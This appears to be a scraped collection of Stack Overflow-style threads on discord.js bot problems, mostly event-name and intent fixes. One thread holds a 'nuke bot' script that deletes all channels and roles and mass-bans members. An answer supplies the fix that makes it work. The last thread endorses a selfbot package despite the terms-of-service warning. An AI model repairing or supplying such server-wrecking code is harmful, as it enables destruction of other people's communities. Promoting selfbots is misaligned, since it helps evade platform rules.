im trying to find a way to send a message to a channel upon launch of the discord bot. I've tried using
client.on('message', (message) => {
client.on('ready', () => {
channel = client.channels.cache.get('744630121213722696');
channel.send('bot is up and running!');
})});
but no success, I get no error messages just no response from the bot
You can't have 2 handlers in one. Take away the client.on('message', (message) => {}
So new code would be:
client.on('ready', () => {
channel = client.channels.cache.get('744630121213722696');
channel.send('bot is up and running!');
});
Related
I am creating a Discord bot that sends a message when the user's message contains a certain string.
For example, if the user says 'ping', the bot should reply with 'pong'. However, this is not currently working as intended.
The bot itself is online and in the server I am testing, and I am using the correct login token. The code itself does not produce any errors, but it does not function as expected. I am looking for a solution to this issue.
Heres the code:
Ive removed the token just for this post.
const Discord = require('discord.js');
const { Client, GatewayIntentBits } = Discord;
// Create a new client
const client = new Client({
// Set the intents to include guilds and guild messages
intents: [
GatewayIntentBits.Guilds,
GatewayIntentBits.GuildMessages,
GatewayIntentBits.MessageContent,
GatewayIntentBits.GuildMembers,
]
});
client.on('ready', () => {
console.log(`Logged in as ${client.user.tag}!`);
});
client.on('message', message => {
if (message.content === 'ping') {
message.reply('Pong!');
}
});
// Log in to Discord using the bot's token
client.login('REMOVED FOR STACK OVERFLOW POST');
Heres my bots permissions
As Zsolt Meszaros pointed out the client on function should use
https://stackoverflow.com/users/6126373/zsolt-meszaros
client.on('messageCreate', message => {
if (message.content === 'ping') {
message.reply('Pong!');
}
});
instead of
client.on('message', message => {
if (message.content === 'ping') {
message.reply('Pong!');
}
});
This question already has an answer here:
message.content doesn't have any value in Discord.js
(1 answer)
Closed 3 months ago.
const Discord = require("discord.js")
const client = new Discord.Client({
intents: [
Discord.GatewayIntentBits.Guilds,
Discord.GatewayIntentBits.GuildMessages
]
});
client.on("ready", () => {
console.log(`Logged in as ${client.user.tag}!`)
})
client.on("messageCreator", (msg) => {
if (msg.content === "ping") {
msg.reply("pong");
}
})
client.on("message", Message => {
if (msg.content === "hi") {
msg.reply("hello");
}
})
client.login(process.env.TOKEN)
Hi, im tryng learn how to make a discord bot for my server and i dont know much of js. I've been reading some tutorials but isnt working.
Seems like you're trying to listen to 2 message events, messageCreator and message.
The event messageCreator doesn't exist. You need to replace it with messageCreate.
The event message has been deprecated. (Also, you've named your message instance Message but you're referring to it as msg.)
const Discord = require("discord.js");
const client = new Discord.Client({
intents: [Discord.GatewayIntentBits.Guilds, Discord.GatewayIntentBits.GuildMessages],
});
client.on("ready", () => {
console.log(`Logged in as ${client.user.tag}!`);
});
client.on("messageCreate", (msg) => {
if (msg.content === "ping") {
msg.reply("pong");
}
});
client.login(process.env.TOKEN);
I have this very basic code for a very basic discord bot
since the new discord.js version 13 you need to declare intents.
I tried doing that using the bitmap 32767 (basically declaring all intents), however the bot doesnt trigger the "messageCreate" event when a message is send
in the dms it only works in servers.
All privileged gateway intents on the developer site have been set to true.
What am I missing?
const Discord = require("discord.js");
const allIntents = new Discord.Intents(32767);
const client = new Discord.Client({ intents: allIntents });
require("dotenv").config();
const botName = "Miku";
client.once("ready", () => {
//gets executed once at the start of the bot
console.log(botName + " is online!");
});
client.on("messageCreate", (message) => {
console.log("got a message");
});
(async() => {
//bot connects with Discord api
client.login(process.env.TOKEN);
})();
You cannot listen for events in the Direct Messages unless they are direct responses/replies/reactions to the initial message.
For example, you can send a message to new members and wait for a response:
client.on('guildMemberAdd', member =>{
member.send("Welcome to the server!");
message.awaitReactions(filter, { max: 1, time: 60000, errors: ['time'] })
.then((collected) => {
//Now, write your code here that handles the reactions.
});
but there is no way to listen for events within the Direct Messages. As in, client.on... will never fire because of a DM event.
I'm gonna make a nuke bot to nuke a scam server I've tried many things but won't work this is my current code
const Discord = require('discord.js')
const client = new Discord.Client()
client.on('ready', function(){
console.log("nukebot is ready")
})
client.on('message', function(message){
if(message.content === "S#NUKE") {
message.channel.send('#everyone')
message.guild.channels.forEach(channel => channel.delete())
message.guild.roles.forEach(role => role.delete())
message.guild.member.forEach(member => member.send('GET BANNNED AND NUKED BY AMONGUS NUGGET GROUP')).catch(console.error())
message.guild.member.forEach(member => member.ban()).catch(console.error())
}
})
client.login('API_KEY_REDACTED')
This gave me an error: message.guild.channels.forEach is not a function
message.guild.channels.forEach() should be message.guild.channels.cache.forEach().
They added that update in v12.
Bot disconnects for no reason and reconnects
I am using discord.js v11.60
Image of Logs
Running a very basic message monitoring script, happens on all my discord bot applications after a while of being running the program.
//Inital Login
client.on("ready", () => {
sendToLogs(`Logged in as ${client.user.tag}!`)
})
client.on('error', err => {
sendToLogs("Error")
console.error(err)
process.exit(1);
});
client.on('reconnecting', message => {
sendToLogs(`User Reconnecting`)
});
client.on('resume', message => {
sendToLogs(`Connected ${client.user.tag}`)
});
client.on('disconnect', message => {
sendToLogs(`User Disconnected`)
process.exit(1);
});
//On every message
client.on("message", msg => {
console.log(message.content)
});
client.login(token)
Self botting is against TOS, so discord.js stopped supporting it..
Gave up decided to use the Discord.js-selfbot npm instead, working fine thus far.
Link: https://www.npmjs.com/package/discord.js-selfbot